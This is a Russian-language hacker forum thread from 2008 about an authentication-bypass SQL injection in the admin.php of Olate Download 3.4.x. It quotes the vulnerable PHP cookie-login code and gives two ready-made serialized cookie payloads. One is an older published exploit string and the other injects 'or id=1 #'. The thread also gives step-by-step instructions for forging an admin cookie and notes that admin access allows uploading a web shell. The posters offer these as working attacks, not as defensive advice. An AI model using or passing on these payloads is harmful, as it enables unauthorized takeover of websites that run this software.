Olate Download (sql injection)

Discussion in 'Веб-уязвимости' started by (Dm), 19 May 2008.

  1. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Оф сайт: http://www.olate.co.uk/od3

    SQL-injection в admin.php

    PHP:
    if (isset($input['OD3_AutoLogin']))
    {    
        
    $parts explode('::'plain_decrypt($input['OD3_AutoLogin']));
        
    $hash $parts[0];
        
    $data $parts[1];
        
        
    $data unserialize(stripslashes($data));
        
    //print_r($data);
        //exit;
        // Give them nice names
        
    $user_id $data[0];
        
    $username $data[1];
        
    $group_id $data[2];
        
        
    // Check the user exists
        
    $result $dbim->query('SELECT id 
                                FROM '
    .DB_PREFIX.'users 
                                WHERE (id = "'
    .$user_id.'") 
                                    AND (username = "'
    .$username.'")
                                        AND (group_id="'
    .$group_id.'")');
        
        if ((
    md5($user_id.$username.$group_id) == $hash) && $dbim->num_rows($result) == 1)
        {
            
    $uam->user_login($user_id$username$group_id);
        }
    В следствии чего имеем: получение прав администратора:


    Имея права администратора, можно загрузить на сервер веб шелл.

    для тех кто в танке:
    _http://www.securityfocus.com/bid/25343/info
    _http://myimei.com/security/2007-08-16/olate-download-341adminphpauthentication-bypassing.html

    Не имеют никакого отношения к этой уязвимости
     
    #1 (Dm), 19 May 2008
    Last edited by a moderator: 19 May 2008
    3 people like this.
  2. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Я наверное и правда в танке, тогда помогите мне вылезти :D
    Мне неясно зачем вызывать ошибку в базе, если авторизация идёт по логину,user_id и group_id которые извесны?
    Вот сплоит с securityfocus:
    17225df9b911486c1ccae0378094c33a::a:3:{i:0;i:2;i:1;s:4:\"imei\";i:2;i:2;}(У них тут ошибка имхо т.к user_id админа =1,(хеш сгенерирован именно 1imei2) ,но суть не в этом),
    далее:
    imei меняем на реальный логин,хешируем строку 1ЛОГИН2 где:

    1-user_id,
    ЛОГИН-реальный логин админа
    2-group_id

    скармливаем её скрипту в куках и мы в админке.
    Эту ошибку уже нашли год назад

    вот что предлагает ТС:
    de355f588b05f229aa1162cc9a3d16b5::a:3:{i:0;s:1:"1";i:1;s:15:"xek\") or id=1 #";i:2;s:1:"2";}

    Может я неверно понял работу сплоита или скрипта?Обьясните пожалуйста зачем базе передавать х.з что?
    А то я так и останусь в танке :D
     
    #2 Kakoytoxaker, 21 May 2008
    Last edited: 21 May 2008
    1 person likes this.
  3. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    то что нашли год назад, это работает на новых версиях??? ты проверял, ее работоспособность??? приведи пример конкретного сайта где это работает... мне сейчас впадлу снова копать код и проверять то что ты написал.
    Если не работает, то ты даже не танкист а ЛОШАРА, а если работает МОЛОДЕЦ.
     
    #3 (Dm), 9 Jun 2008
    Last edited: 9 Jun 2008
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Прежде чем запостить что-то, я думаю,следовательно:
    Причём сдесь год назад? Ты пишешь о версии 3.4.2 - 3 , я смотрел версию 3.4.3 это помоему как раз последняя.Я не проверял на сайтах, а СМОТРЕЛ КОД.Он не отличается от твоего примера, т.е. его не меняли, и соответственно всё работает.
    Далее:, что год назад, что сейчас, зачем в запрос к базе вставлять скуль, если можно зайти по сформированным кукам?
    И ещё момент, если ты публикуешь что-то, что значит:
    Ты такой мега крутой , что твои слова не требуют подтверждения?Мне вот не впадлу было посмотреть код, прежде чем возразить тебе
    И если уж на то пошло, твой пример будет работать до тех пор пока не изменят условие проверки , но до этих самых пор будет работать и найденая год назад бага
     
    1 person likes this.
  5. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    да согласен. но мой вариант, более эффективен) ничего не нужно искать, хешировать и т.д. логин админа может быть любым.
    Подставил в запрос получил админа... ))) этож гуд)
    PS хотя securityfocus.com пишут что Not Vulnerable: Olate Download 3.4.2 ... на заборе видимо тоже пишут.
     
    2 people like this.